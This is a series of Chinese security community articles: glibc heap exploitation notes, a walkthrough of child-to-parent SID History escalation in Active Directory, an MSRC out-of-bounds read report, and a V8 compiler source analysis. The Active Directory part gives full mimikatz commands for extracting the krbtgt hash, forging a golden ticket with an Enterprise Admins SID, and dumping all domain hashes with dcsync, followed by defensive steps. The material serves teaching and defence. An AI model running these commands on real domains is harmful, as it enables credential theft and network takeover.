示例中首先申请了两个0x80大小的堆chunk0和chunk1（非fastbin大小，因为fastbin大小的堆为了避免合并pre_inuse总是为1），然后在chunk0中构造fake_chunk
需要注意的是，我们构造的fake chunk的起点是chunk0的数据部分即fd，fake chunk的prev
size和size域正常赋值即可（最新的libc加入了cur_chunk’size=next_chunk’s prev_size），fake
chunk中关键的部分是fake data，这一部分要绕过unlink双向链表断链的检查，即fd->bk=p&&bk->fd=p
chunk的结构体如下
所以由结构体的寻址方式可得
(fd->bk=fd+3* size_t)=p
(bk->fd=bk+2* size_t)=p
所以可得
fd=p-3* size_t
bk=p-2* size_t
即fakechunk中fd和bk域如上构造即可绕过unlink双向链表的断链检查。
构造完fakechunk还需要修改下chunk1的prevsize和size的数据，
首先是prevsize要修改成fakechunk的大小（包含堆头，原因是glibc寻找下一个堆的宏如下，即将当前堆偏移size的数据视为下一个堆）
chunk1
size部分的inuse位要置0，即标识物理相邻低地址堆为空闲状态（这也是unlink无法使用fastbin大小的堆的原因，fastbin大小的堆为了减少堆合并的次数inuse位总是置1）
最后构造的fakechunk+chunk1部分数据如下，chunk0堆头0x405000，fakechunk堆头0x405010，chunk1堆头0x405090，图中选中部分为fakechunk
其中fakechunk的fd要使用指向堆节点的指针（如指向该节点的全局变量，非堆地址）的原因是unlink源码中传入的第二个参数是struct
malloc_chunk * p。
下面分析下unsafeunlink是如何导致任意地址写的。阅读源码可以发现smallbin范围内非fastbin范围的堆在unlink时只检查了双向链表的完整性，然后执行了双向链表摘除节点的操作。
断链的过程
fd->bk=bk 即(fd->bk=p)=(bk=p-2* size_t)
bk->fd=fd 即(bk->fd=p)=(fd=p-3* size_t)
最终相当于
p=p-3* size_t
即获得了两个相等的指针（struct malloc_chunk *
p），试想如果此时我们可以修改一个指针指向的地址同时可以修改另一个指针指向的内容不就可以构成一次任意地址写了吗？巧的是(;p)我们恰好可以达到这样的效果。
此时我们修改fake_chunk[3]为要写的地址，修改fake_chunk[0]为要写的地址的内容即可。原因是fake_chunk[3]-3*size_t=fake_chunk，这里相当于给fake_chunk指向一个新的地址；fake_chunk[0]访问的是&fake_chunk[0]地址处的值，即上一步修改的地址处的内容。这样就构成了一次任意地址写^.^
#### 1.5 house_of_spirit
<https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_spirit.c>
利用fastbin范围的堆释放时粗糙的检查可以在任意地址处伪造fastbin范围fakechunk进而返回fakechunk的一种利用方式。思路是在指定地址处伪造fastbin范围的fakechunk，释放掉伪造的fakechunk，再次申请释放掉的fakechunk大小的堆即可得到fakechunk。
其中fastbin范围的堆释放时的检查如下图所示，
我们构造的fakechunk只需要绕过free时的检查即可：
1. 2*size_sz<next chunksize<sys mem，即图中0x123要满足限制在这个范围
2. 伪造的fakechunk不能是fastbin的头结点，即不能直接构成doublefree
利用house of spirit可以得到fakechunk处的堆，同时如果我们有fakechunk处写的权限利用fastbinattack即可劫持控制流。
#### 1.6 poison_null_byte
<https://github.com/shellphish/how2heap/blob/master/glibc_2.25/poison_null_byte.c>
由于glibc在返回用户申请的堆时不恰当的更新堆的presize域和错误的计算nextchunk的位置可以导致一次堆重叠。
方法是先申请堆然后释放掉中间位置的一个堆bchunk（假设堆的大小都如图所示），假设存在一个off by
null的漏洞，由于前一个堆是占用状态时prevsize域用来存储前一个堆的数据，这样我们可以从achunk溢出到bchunk的size域最低位将其置0。
此时申请一个0x100大小的堆会返回释放掉的bchunk位置的堆。原因是在申请一个smallbin且非fastbin范围的堆时会检查smallbin是否为空，本例中smallbin为空则执行smallbin的初始化过程，即将可能的fastbin中的堆进行合并进入unsortedbin的处理流程，申请的堆的大小是smallbin范围，此时会取largebin头结点的一个堆进行切割返回（同样地为了减少内存碎片，largebin的堆从大到小排序）。这里largebin中只含一个0x200大小的堆，则直接对其进行切割然后返回给用户。
然后再次申请一个0x80大小的堆。原因是0x100+0x80+两个堆头=0x200使之结束的位置正好落于cchunk
这时free(b1)、free(c)释放掉两个堆，由于nextchunk即cchunk的preinuse为0会触发前向合并（向物理高地址）过程。原因是fake了一个cchunk的presize，系统修改的是我们的fake
presize，即下图的0xf0，系统依然认为bchunk的位置有一个0x210的fakechunk。
此时再次申请一个0x300大小的堆，由于合并后bchunk和cchunk的大小为0x300，系统会返回合并后的bchunk。又由于此时b2chunk没有被释放处于占用态，b2chunk位于合并的bchunk内，此时构成一次堆重叠。
#### 1.7 house_of_lore
<https://github.com/shellphish/how2heap/blob/master/glibc_2.26/house_of_lore.c>
利用伪造smallbin链表来最终达到一次任意地址分配内存的效果。前提是可以在要分配的地址处伪造堆（修改结构体中fd、bk的指向），且可以修改victim堆（被释放的smallbin堆）的bk指针。
方法是在要分配的内存地址（如栈地址）处构造一个fake smallbin chunk链，使之如下图所示。
然后申请一个堆防止释放victim的时候合并到topchunk，释放掉victim，此例中victim会进入fastbin链表。
再次申请一个largechunk，触发fastbin的合并过程并使fastbin的堆进入unsortedbin的处理流程，victim处于smallbin的范围最终被链入smallbin头结点。而由于我们事先构造了如上的fake
smallbin链，此时smallbin的链接情况是smallbin:victim->stack_buf1->stack_buf2。
由于smallbin的exact
fit和fifo策略，此时申请一个victim大小的堆会直接返回bin结点bk指向的victim（bin的结构体是mchunkptr*），然后断链并修改bin的bk指针指向victim的bk节点即stack_buf1。glibc取smallbin的chunk源码如下。
此时stack_buf1的结构如下(其中0x7fffffffdfb0=stack_buf1，0x7ffff7dd4b98=smallbin，0x7fffffffdf90=stack_buf2)，即此时smallbin:stack_buf1->stack_buf2
这样此时再申请一个victim大小的堆直接取smallbin的bk指向的stack_buf1即得到相应地址处的堆，达到了任意地址分配内存的效果。
#### 1.8 overlapping_chunks
<https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c>
通过修改一个位于空闲链表的堆的size域可以构成一次堆重叠
过程如上。修改位于bin的p2的size域，修改后p2结构如下（p2=0x405110，选中部分为p2 data部分）
此时申请一个修改后的p2 size的堆会得到从p2位置起始的fake size大小的堆p4，如下图
#### 1.9 overlapping_chunks_2
<https://github.com/shellphish/how2heap/blob/master/glibc_2.25/overlapping_chunks_2.c>
通过堆溢出修改下一个占用态堆的size域构成一次堆重叠
shellphish给出的示例中先free掉p4（我个人感觉这一步是没有必要的，shellphish可能是出于演示的目的考虑？因为稍后可以看到我们可以观察到p5的prevsize在free(p2)后会发生变化，如果有小伙伴看到这里可以一起交流，snip3r[at]163.com）。free
p4后p5的prevsize为3f0
然后修改p2的size域为p2+p3+标志位，释放掉。此时glibc会认为p2的size域的大小包围的堆是要被释放的，会错误的修改p5的prevsize值。free
p2后p5的prevsize为bd0
此时由于物理相邻的前向堆p4处于空闲态，fake
p2会和p4合并链入largebin。然后申请2000大小的largechunk会将上述合并后的堆切割后返回p2起始的堆，从而构成一次堆重叠。
#### 1.10 house_of_force
<https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_force.c>
利用topchunk分配内存的特点可以通过一次溢出覆盖topchunk的size域得到一次任意地址分配内存的效果。
首先通过一次堆溢出覆盖topchunk的size域为一个超大的整数（如-1），避免申请内存时进入mmap流程。
然后申请一个evilsize大小的堆改变topchunk的位置。evilsize的计算如下，这么计算的原因是当bin都为空时会从topchunk处取堆
修改topchunk到目标地址后在申请一次堆即可对目标地址处的内存进行改写。
#### 1.11 unsorted_bin_into_stack
<https://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsorted_bin_into_stack.c>
通过修改位于unsortedbin的堆的size域和bk指针指向目标fakechunk，在目标地址构造fakechunk（构造size和bk指针。我们也可以不修改victim的size，malloc两次得到目标地址的fakechunk；原理都是构造fake
unsortedbin链表）可以得到一次任意地址申请内存的机会。
其中如果要伪造victim的size的话要满足check 2*SIZE_SZ (> 16 on x64) && < av->system_mem
通过溢出修改位于unsortedbin的victim的size和bk，并构造fakechunk，最终构造出如下fake smallbin链表
在下一次申请内存时glibc遍历unsortedbin找到exact fit的堆块并返回，最终可以得到目标地址处的伪造堆。
#### 1.12 unsorted_bin_attack
<https://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsorted_bin_attack.c>
通过伪造unsortbin链表进行unsortedbin attack泄露信息（libc基址）的一种方法。
方法是构造如下fake unsortedbin链表，
这样在申请得到victim后会将victim断链，从而target_addr fake
chunk的fd会指向相应的bin，进而可以泄露libc基址。（当然也可以泄露bk之类位置的其他信息，如果有的话;p）
#### 1.13 large_bin_attack
<https://github.com/shellphish/how2heap/blob/master/glibc_2.26/large_bin_attack.c>
利用malloc进行unsortedbin处理时插入largebin通过修改largebin链表上的堆的bk、bk_nextsize均可以得到任意地址写的机会。
首先要申请如上图3个堆和相应的为了避免合并到topchunk的barrier（只申请barrier3应该就够用了，shellphish这么写可能是在之后复杂的申请释放中不在考虑合并到topchunk的情况），其中p1要保证是smallbin且非fastbin范围（且保证在后续申请堆时堆大小够用），p2、p3要保证是largebin范围。
（1）然后依次释放p1、p2，由于非fastbin范围的堆在释放后会首先链入unsortedbin，此时unsortedbin的情况是。（简单说就是unsortedbin:p2->p1，其中各个指针的指向如图）
（2）此时申请一个0x90大小的堆，从glibc的源码中可以看到遍历unsortedbin的过程是从bin头结点的bk指针开始遍历。这样取到的第一个堆是0x320大小的p1，p1满足0x90的申请，glibc会从p1中分割出0x90的大小，然后继续遍历unsortedbin直至遍历结束；此时得到链表的第二个堆0x400大小的p2，p2非smallbin范围且largebin为空，被链入largebin
此时unsortbin：(p1-0x90)，largebin：p2.
（3）然后释放0x400大小的p3，p3非fastbin范围被链入unsortedbin头结点（fd指向p3）。
（4）此时利用溢出或其他手段修改largebin中的p2的bk、bk_nextsize（或、且）和size。可以看到p2修改前的size为0x411，shellphish把它修改成了0x3f1，这样做是因为largebin中链接的一定范围的堆是从大到小降序排列的，修改后0x400大小的p3被链入largebin时会被链入头结点。
在做好以上的准备工作后再次申请一个0x90大小的堆，同（2）过程依然由p2分割得到堆，由于p3>修改后的p2的size，p3被链入largebin头结点。链入的过程类似unlink，类似的我们得到了一次任意地址写的机会。
#### 1.14 house_of_einherjar
<https://github.com/shellphish/how2heap/blob/master/glibc_2.26/house_of_einherjar.c>
利用一次off by null修改下一个占用态chunk的prev_inuse位，同时修改下一个下一个占用态chunk的prev_size值，利用top
chunk和后向合并（物理低地址）机制得到一次任意地址分配内存的机会。这种off by
null利用的前提是可以在目标地址处（最终分配内存的地址处）构造fakechunk。
了绕过双向链表完整性的检测fd、和bk均可置为fakechunk。其中设置fakechunk的prev_size和size的值是可以但没必要的。
由于占用态的堆prev_size会用来存储前一个堆的数据，所以天然的prev_size域可以修改；当存在off by
null时可以将下一个占用态堆的prev
inuse置0。我们修改a的prev_size为fake_size，b的prev_inuse为0。这时我们释放掉b，由于b和topchunk紧邻，b会和topchunk合并；同时由于b的prev_inuse为0会触发后向合并（物理低地址），glibc寻找下一个空闲堆的方式是chunk_at_offset(p,
-((long)
prevsize))，即将当前位置偏移prev_size的位置视为nextchunk，这样（b+b.prev_size）得到下一个堆位于fakechunk，合并到topchunk并最终得到新的topchunk起点为fakechunk。此时再次申请堆从topchunk处取即可得到target处的fakechunk。
这样通过反推target=b_chunk_header-fake_size得到fake_size=b_chunk_header-target。
### 2.总结
本文到这里就结束了，linux
pwn基础知识的介绍到这里也就结束了，但是glibc还在不断更新，堆管理一些细节也在不断微调，一些新的提高性能的机制如tcache也开始应用于新版本的libc，关于不断更新的新版本libc的漏洞利用方式的探索还远远没有结束。
* * * | 社区文章 |
# 子域到父域的横向移动（Sid History)
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：冬青@深蓝实验室
## 0x00 前言
本文接上篇文章探究子域如何横向移动到父域的Enterprise Admin组，并给出防御方法。
## 0x01 Enterprise Admins组
在父子域中，最重要的莫过于Enterprise
Admins组了，并且该组只存在于林根域中，其成员有权管理林内的所有域，这是因为在添加子域后，Enterprise
Admins组会自动添加到林中每个域中的Administrators组成员中。但是该组在其他域树中是不存在的，所以在子域中是看不到有Enterprise
Admins组。本文也是基于Enterprise Admins组来提权。
## 0x02 跨域访问流程
用户在登录某台客户机的时候，系统必须验证用户的身份，除了账号密码之外，还会为用户建立一个access token（访问令牌），其中包含用户账户的SID、用户所隶属的所有组的SID等数据。当用户取得access token后，如果他要访问计算机内的资源时，便会出示access token，而系统会根据access token内的SID数据来决定用户拥有何种权限。
同理当用户连接网络上其他计算机时，这台计算机也会为该用户建立一个access token，当用户需要访问资源的时候，便会出示access token，这台计算机便会根据出示的access token的SID数据，来决定用户拥有何种的访问权限
## 0X03 SID History
根据微软的解释，SID History 是一个支持迁移方案的属性，每个用户帐户都有一个关联的安全标识符 (SID)，用于跟踪安全主体和帐户在连接到资源时的访问权限。SID 历史记录允许将另一个帐户的访问有效地克隆到另一个帐户，并且对于确保用户在从一个域移动（迁移）到另一个域时保留访问权限非常有用。
而一个账户可以在SID-History Active Directory 属性中保存额外的 SID ，从而允许域之间进行可相互操作的帐户迁移（例如，SID-History 中的所有值都包含在访问令牌中）。
为了达到SID History攻击的目的，我们的将使用域管理员权限，将获取到的有权限的SID值插入到SID历史记录中，以实现模拟任意用户/组（例如Enterprise Admins）的权限，达到跨域提权目的。
## 0x04 枚举域信任
1、用全局编录的方式进行域信任查看
`Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"`
2、使用powershell展现一个域信任关系
`Get-ADTrust -Filter *`
3、使用windows自带命令查看
`nltest /domain_trusts`
从上面的命令可以看出来，父域和子域是存在双向的信任关系
## 0x04 环境准备
本地环境使用到的是windows server2016
主域：dpl.com
子域：ziyu.dpl.com
假设已经拿到子域域控的权限，接下来我要拿根域的权限
## 0x05 从子域到父域的EA组提权利用（Sid History）
Sid History攻击需要：
1、域名称（GET-ADDomain）
2、域的SID值（GET-ADDomainSID）
3、域的KRBTGT账户的hash（mimitakz）
4、伪造用户名（administrator）
5、根域EA组的ObjectID（Convert-NameToSid）
### 一、利用powerview+mimikatz完成攻击利用
**Ⅰ、使用Sid History完成对父域的提权**
①获取子域名称
`Get-Domain或ipconfig /all`
②获取子域的SID值
`Get-DomainSID`
③获取子域KRBTGT的hash
`sekurlsa::krbtgt`
④获取根域EA组的ObjectID
`Convert-NameToSid dpl\krbtgt`
**Ⅱ、SID介绍**
SID用于唯一标识安全主体或安全组，以S-1-5-21-1315137663-3706837544-1429009142-502为例
表示字符串为SID（S）
修订级别（1）
标识符颁发机构 （5，NT Authority）
域标识符（21-1315137663-3706837544-1429009142）
相对标识符RID（krbtgt 502）
常见的SID：Domain Admins（S-1-5-domain-512）、Domain
Users（S-1-5-domain-513）、Administrator（S-1-5-domain-500）、Enterprise
Admins（S-1-5-root domain-519）、Domain Admins（S-1-5-domain-515）
而完成Sid History攻击需要修改其RID，获取到krbtgt的SID后，将502修改为519，也就是Enterprise Admins组
格式：`mimikatz kerberos::golden /user:administrator /domain:<current FQDN>
/sid:<current SID> /krbtgt:<KRBTGT_HASH> /sids:<root domain SID>-519 /ptt`
/user – 需要模拟的用户名，本例中为administrator
/domain – 完全限定域名（FQDN）
/sid – 域的 SID
/krbtgt – krbtgt的ntlm密码hash
/sids – AD 林中帐户/组的 SID，能获取高权限的ticket，本例中为Enterprise Admins组
/ptt – 将伪造的票据注入内存以供使用
**Ⅲ、使用mimikatz完成攻击**
访问根域是拒绝
命令：`mimikatz # kerberos::golden /user:administrator /domain:ziyu.dpl.com
/sid:S-1-5-21-2455727910-2290990957-1796281965
/krbtgt:a6dfcc6757f07f2338871c1437661771
/sids:S-1-5-21-551729718-3557281277-2606199327-519 /ptt`
用主机名访问，不然会出错，访问父域成功
使用mimikatz导出根域的hash
`lsadump::dcsync /domain:dpl.com /all /csv`
## 0x06 防御方法
1、合法帐户迁移完成后清除 SID-History 属性
a.标识帐户的 SIDHistory 属性中的 SID。
`Get-ADUser -Identity <account> -Properties SidHistory | Select-Object
-ExpandProperty SIDHistory`
b.使用前面标识的 SID 删除 SIDHistory 属性
`Set-ADUser -Identity <account> -Remove @{SIDHistory='S-1-5-21-...'}`
2、使用 netdom 工具（在域控制器上）在林信任上禁用 SIDHistory
`netdom trust /domain: /EnableSIDHistory:no`
3、使用 netdom 工具（在域控制器上）将 SID 过滤器隔离应用于外部信任
`netdom trust /domain: /quarantine:yes` | 社区文章 |
# 一次被MSRC坑的经历
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这个漏洞真的是被微软坑了，虽然即使微软认了也没多少钱，但是这么一搞钱也没了，CVE也没了。什么原因造成的？具体是因为之前我们提交了一个报告，没有给他具体的exp，怎么泄露出信息。他说要把报告关了，后面我们重新整出了可以泄露出信息的PoC，我以为他的意思是让我们重新打开一个报告，谁知道他是让我们在原有的报告上重新上传一份附件。然后现在MSRC把整个功能移除了。再然后总共提交的两个报告都被关了。本来都懒得发文章，这次发出来也只是吐槽下。
## 漏洞详情
这个漏洞就是一个普通的越界读的漏洞。就简单的给大家分析下看下吧。emmm，这个漏洞是我的小伙伴[@lm0963](https://github.com/lm0963
"@lm0963")费了点精力分析的，现在不多说就上代码。漏洞点在msrawimage_store的组件中。
1. __int64 __fastcall sub_18005BE40(__int64 a1, __int64 a2, int a3, int a4)
2.
3. ……
4. v7 = 0;
5. do
6. {
7. v22 = 0;
8. v8 = *(_QWORD *)(a2 + 56);
9. v9 = (unsigned int *)(*(_QWORD *)(a2 + 0x50) + v7); // v9 point to a heap buffer, in this case the size of the heap buffer is 0x7e4.
10. ……
11. for ( i = 0; i < *(_DWORD *)(a2 + 0x2C); ++v9 ) // *(a2 + 0x2c) is under our control, it is 0x700 in this case, offset 0x2151c in poc.x3f. So the maximum value of v9 is *(a2 + 0x50) + v21 * *(a2 + 0x30) + *(a2 + 0x2c) = *(a2 + 0x50) + 0x1 * 0x100 + 0x700 = *(a2 + 0x50) + 0x800 > *(a2 + 0x50) + 0x7e4
12. {
13. v12 = *v9; // Out-Of-Bounds Read here
14. …… // Some operations on image pixels. Due to the use of random data on the out-of-bounds heap, it will be garbled
15. }
16. v7 += v21; // v21 is under our control, it is 0x1 in this case. Offset 0x21520 in poc.x3f
17. ++v6;
18. }
19. while ( v6 < *(_DWORD *)(a2 + 0x30) ); // *(a2 + 0x30) is under our control too, it is 0x100, offset 0x21518 in poc.x3f
20. }
21. return sub_180085760((unsigned __int64)&v20 ^ v24);
上面就是简单的漏洞点分析，下面贴下漏洞崩溃信息的图片。
下面是信息泄露的截图，你可以看到每次打开图片泄露出的像素都是不一样的。
## 结尾
再吐槽下，微软有时候是真的坑！赏金降到1/5不说，连oob read要实际泄露信息他们才修。 | 社区文章 |
# 《Chrome V8原理讲解》第二十篇 编译链1：语法分析，被遗忘的细节
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1 摘要
第三、四、五三篇文章对V8编译流程的主要功能做了介绍，在基础之上，接下来的几篇文章是编译专题，讲解V8编译链，从读取Javascript源码文件开始，到字节码的生成，并结合前三篇文章，详细说明编译过程和技术细节。编译专题的知识点包括：生成Token、生成AST、生成常量池、生成Bytecode和Sharedfunction。本文讲编译的准备工作，Javascirpt源码的读取与转码（章节2）；语法分析的准备工作（章节3）。
## 2 读取Javascript源码
测试源码如下：
function ignition(s) {
this.slogan=s;
this.start=function(){eval('console.log(this.slogan);')}
}
worker = new ignition("here we go!");
worker.start();
Javascript源码先转成V8的内部字符串，内部字符串编译后生成Sharedfunction，Sharedfunction绑定Context等信息后生成JSfunction后交给执行单元。从读取Javascript源码讲起，源码如下：
1. bool SourceGroup::Execute(Isolate* isolate) {
2. //............省略很多..................
3. // Use all other arguments as names of files to load and run.
4. HandleScope handle_scope(isolate);
5. Local<String> file_name =
6. String::NewFromUtf8(isolate, arg, NewStringType::kNormal)
7. .ToLocalChecked();
8. Local<String> source = ReadFile(isolate, arg);
9. if (source.IsEmpty()) {
10. printf("Error reading '%s'\n", arg);
11. base::OS::ExitProcess(1);
12. }
13. Shell::set_script_executed();
14. if (!Shell::ExecuteString(isolate, source, file_name, Shell::kNoPrintResult,
15. Shell::kReportExceptions,
16. Shell::kProcessMessageQueue)) {
17. success = false;
18. break;
19. }
20. }
21. return success;
22. }
我用d8做讲解，d8方便加载Javascript源码，不需要重复造轮子。代码5行`file_name`的值是test.js；代码8行读取文件内容，`ReadFile()`代码如下：
1. Local<String> Shell::ReadFile(Isolate* isolate, const char* name) {
2. //只保留最重要的部分...............................
3. char* chars = static_cast<char*>(file->memory());
4. Local<String> result;
5. if (i::FLAG_use_external_strings && i::String::IsAscii(chars, size)) {
6. String::ExternalOneByteStringResource* resource =
7. new ExternalOwningOneByteStringResource(std::move(file));
8. result = String::NewExternalOneByte(isolate, resource).ToLocalChecked();
9. } else {
10. result = String::NewFromUtf8(isolate, chars, NewStringType::kNormal, size)
11. .ToLocalChecked();
12. }
13. return result;
14. }
代码3行读取文件内容；代码5行判断`i::FLAG_use_external_strings`和ASCII字符，代码10行返回UTF8编码的Javascript源码。
进入`bool SourceGroup::Execute()`代码14行，源码如下：
1. bool Shell::ExecuteString(Isolate* isolate, Local<String> source,
2. Local<Value> name, PrintResult print_result,
3. ReportExceptions report_exceptions,
4. ProcessMessageQueue process_message_queue) {
5. //省略很多............................
6. bool success = true;
7. {
8. if (options.compile_options == ScriptCompiler::kConsumeCodeCache) {
9. //省略很多............................
10. } else if (options.stress_background_compile) {
11. //省略很多............................
12. } else {
13. ScriptCompiler::Source script_source(source, origin);
14. maybe_script = ScriptCompiler::Compile(context, &script_source,
15. options.compile_options);
16. }
17. Local<Script> script;
18. if (!maybe_script.ToLocal(&script)) {
19. // Print errors that happened during compilation.
20. if (report_exceptions) ReportException(isolate, &try_catch);
21. return false;
22. }
23. if (options.code_cache_options ==
24. ShellOptions::CodeCacheOptions::kProduceCache) {
25. //省略很多............................
26. }
27. maybe_result = script->Run(realm);//这是代码执行.....................
28. }
29. }
省略了不执行的代码，代码13行，把Javascript源码封装成`ScriptCompiler::Source`；代码14行，ScriptCompiler::Compile是编译入口，开始进入编译阶段。
## 3 语法分析器初始化
编译的第一阶段是词法分析，生成Token字；第二阶段是语法分析，生成语法树；V8的编译工具链中，先启动语法分析器，它读取Token字失败时启动词法分析器工作，按照这一流程，我们先讲解语法分析器的初始化。
`ScriptCompiler::Compile()`方法内部调用`CompileUnboundInternal()`方法，源码如下：
1. MaybeLocal<UnboundScript> ScriptCompiler::CompileUnboundInternal(
2. Isolate* v8_isolate, Source* source, CompileOptions options,
3. NoCacheReason no_cache_reason) {
4. //省略很多................
5. i::Handle<i::String> str = Utils::OpenHandle(*(source->source_string));
6. i::Handle<i::SharedFunctionInfo> result;
7. i::Compiler::ScriptDetails script_details = GetScriptDetails(
8. isolate, source->resource_name, source->resource_line_offset,
9. source->resource_column_offset, source->source_map_url,
10. source->host_defined_options);
11. i::MaybeHandle<i::SharedFunctionInfo> maybe_function_info =
12. i::Compiler::GetSharedFunctionInfoForScript(
13. isolate, str, script_details, source->resource_options, nullptr,
14. script_data, options, no_cache_reason, i::NOT_NATIVES_CODE);
15. if (options == kConsumeCodeCache) {
16. source->cached_data->rejected = script_data->rejected();
17. }
18. delete script_data;
19. has_pending_exception = !maybe_function_info.ToHandle(&result);
20. RETURN_ON_FAILED_EXECUTION(UnboundScript);
21. RETURN_ESCAPED(ToApiHandle<UnboundScript>(result));
22. }
“Bind”（绑定）是V8中使用的语术，作用是绑定上下文（context）。“Unbound”是没有绑定上下文的函数，即Sharedfunction，类似DLL函数，使用之前要配置相关信息。代码7行，`GetScriptDetails()`是计算行、列偏移量等信息；代11行`Sharedfunction()`，从编译缓存中读取Sharedfunction，缓存缺失时启动编译器，编译源码生成并返回Sharedfunction，源码如下：
1. MaybeHandle<SharedFunctionInfo> Compiler::GetSharedFunctionInfoForScript(
2. Isolate* isolate, Handle<String> source,
3. const Compiler::ScriptDetails& script_details,
4. .................) {
5. //省略很多.........................
6. {
7. maybe_result = compilation_cache->LookupScript(
8. source, script_details.name_obj, script_details.line_offset,
9. script_details.column_offset, origin_options, isolate->native_context(),
10. language_mode);
11. }
12. if (maybe_result.is_null()) {
13. ParseInfo parse_info(isolate);
14. // No cache entry found compile the script.
15. NewScript(isolate, &parse_info, source, script_details, origin_options,
16. natives);
17. // Compile the function and add it to the isolate cache.
18. if (origin_options.IsModule()) parse_info.set_module();
19. parse_info.set_extension(extension);
20. parse_info.set_eager(compile_options == ScriptCompiler::kEagerCompile);
21. parse_info.set_language_mode(
22. stricter_language_mode(parse_info.language_mode(), language_mode));
23. maybe_result = CompileToplevel(&parse_info, isolate, &is_compiled_scope);
24. Handle<SharedFunctionInfo> result;
25. if (extension == nullptr && maybe_result.ToHandle(&result)) {
26. DCHECK(is_compiled_scope.is_compiled());
27. compilation_cache->PutScript(source, isolate->native_context(),
28. language_mode, result);
29. } else if (maybe_result.is_null() && natives != EXTENSION_CODE) {
30. isolate->ReportPendingMessages();
31. }
32. }
33. return maybe_result;
34. }
代码7行查询`compilation_cache`上篇文章讲过，初次查询结果为空。代码13行创建ParseInfo实例，为语法分析器（Parser）做准备工作。代码15行初始化Parser_info,源码如下：
1. Handle<Script> NewScript(Isolate* isolate, ParseInfo* parse_info,
2. Handle<String> source,
3. Compiler::ScriptDetails script_details,
4. ScriptOriginOptions origin_options,
5. NativesFlag natives) {
6. Handle<Script> script =
7. parse_info->CreateScript(isolate, source, origin_options, natives);
8. Handle<Object> script_name;
9. if (script_details.name_obj.ToHandle(&script_name)) {
10. script->set_name(*script_name);
11. script->set_line_offset(script_details.line_offset);
12. script->set_column_offset(script_details.column_offset);
13. }
14. Handle<Object> source_map_url;
15. if (script_details.source_map_url.ToHandle(&source_map_url)) {
16. script->set_source_mapping_url(*source_map_url);
17. }
18. Handle<FixedArray> host_defined_options;
19. if (script_details.host_defined_options.ToHandle(&host_defined_options)) {
20. script->set_host_defined_options(*host_defined_options);
21. }
22. return script;
23. }
代码6~12行，把源码封装到Parser_info中，设置行、例偏移量信息。
回到`Compiler::GetSharedFunctionInfoForScript()`，代码23行，进入`CompileToplevel()`，源码如下：
1. MaybeHandle<SharedFunctionInfo> CompileToplevel(
2. ParseInfo* parse_info, Isolate* isolate,
3. IsCompiledScope* is_compiled_scope) {
4. //省略很多.........................
5. if (parse_info->literal() == nullptr &&
6. !parsing::ParseProgram(parse_info, isolate)) {
7. return MaybeHandle<SharedFunctionInfo>();
8. }
9. //省略很多.........................
10. MaybeHandle<SharedFunctionInfo> shared_info =
11. GenerateUnoptimizedCodeForToplevel(
12. isolate, parse_info, isolate->allocator(), is_compiled_scope);
13. if (shared_info.is_null()) {
14. FailWithPendingException(isolate, parse_info,
15. Compiler::ClearExceptionFlag::KEEP_EXCEPTION);
16. return MaybeHandle<SharedFunctionInfo>();
17. }
18. FinalizeScriptCompilation(isolate, parse_info);
19. return shared_info;
20. }
代码5行`literal()`判断抽象语法树是否存在，首次执行时为空，所以进入代码6行，开始语法分析，源码如下：
1. bool ParseProgram(ParseInfo* info, Isolate* isolate,
2. ReportErrorsAndStatisticsMode mode) {
3. //省略代码..............................
4. Parser parser(info);
5. FunctionLiteral* result = nullptr;
6. result = parser.ParseProgram(isolate, info);
7. info->set_literal(result);
8. if (result) {
9. info->set_language_mode(info->literal()->language_mode());
10. if (info->is_eval()) {
11. info->set_allow_eval_cache(parser.allow_eval_cache());
12. }
13. }
14. if (mode == ReportErrorsAndStatisticsMode::kYes) {
15. //省略代码..............................
16. }
17. return (result != nullptr);
18. }
代码4行，使用Parse_info信息创建Parser实例，源码如下：
1. Parser::Parser(ParseInfo* info)
2. : ParserBase<Parser>(info->zone(), &scanner_, info->stack_limit(),
3. info->extension(), info->GetOrCreateAstValueFactory(),
4. info->pending_error_handler(),
5. info->runtime_call_stats(), info->logger(),
6. info->script().is_null() ? -1 : info->script()->id(),
7. info->is_module(), true),
8. info_(info),
9. scanner_(info->character_stream(), info->is_module()),
10. preparser_zone_(info->zone()->allocator(), ZONE_NAME),
11. reusable_preparser_(nullptr),
12. mode_(PARSE_EAGERLY), // Lazy mode must be set explicitly.
13. source_range_map_(info->source_range_map()),
14. target_stack_(nullptr),
15. total_preparse_skipped_(0),
16. consumed_preparse_data_(info->consumed_preparse_data()),
17. preparse_data_buffer_(),
18. parameters_end_pos_(info->parameters_end_pos()) {
19. bool can_compile_lazily = info->allow_lazy_compile() && !info->is_eager();
20. set_default_eager_compile_hint(can_compile_lazily
21. ? FunctionLiteral::kShouldLazyCompile
22. : FunctionLiteral::kShouldEagerCompile);
23. allow_lazy_ = info->allow_lazy_compile() && info->allow_lazy_parsing() &&
24. info->extension() == nullptr && can_compile_lazily;
25. set_allow_natives(info->allow_natives_syntax());
26. set_allow_harmony_dynamic_import(info->allow_harmony_dynamic_import());
27. set_allow_harmony_import_meta(info->allow_harmony_import_meta());
28. set_allow_harmony_nullish(info->allow_harmony_nullish());
29. set_allow_harmony_optional_chaining(info->allow_harmony_optional_chaining());
30. set_allow_harmony_private_methods(info->allow_harmony_private_methods());
31. for (int feature = 0; feature < v8::Isolate::kUseCounterFeatureCount;
32. ++feature) {
33. use_counts_[feature] = 0;
34. }
35. }
代码8~18行，从Parser _Info中获取信息；代码19~23行是lazy compile开关，allow_lazy_
表示最终结果；代码25是否支持natives语法，也就是Javascript源码中是否允许使用以`%`开头的命令；代码26~30行是否支持私有方法等等。至此，语法分析器初始化工作完毕。
创建`Paser`实例后，返回`bool ParseProgram()`，代码6行，进行语法分析，期间还需要创建扫描器，下次讲解。
**技术总结**
**（1）** Javascript源码进入V8后需要转码；
**（2）** Javascript源码在V8内的表示是`Source`类,全称是`v8::internal::source`；
**（3）** 先查编译缓存，缓存缺失时启动编译；
**（4）** 语法分析器先启动，Token缺失时启动词法分析器。
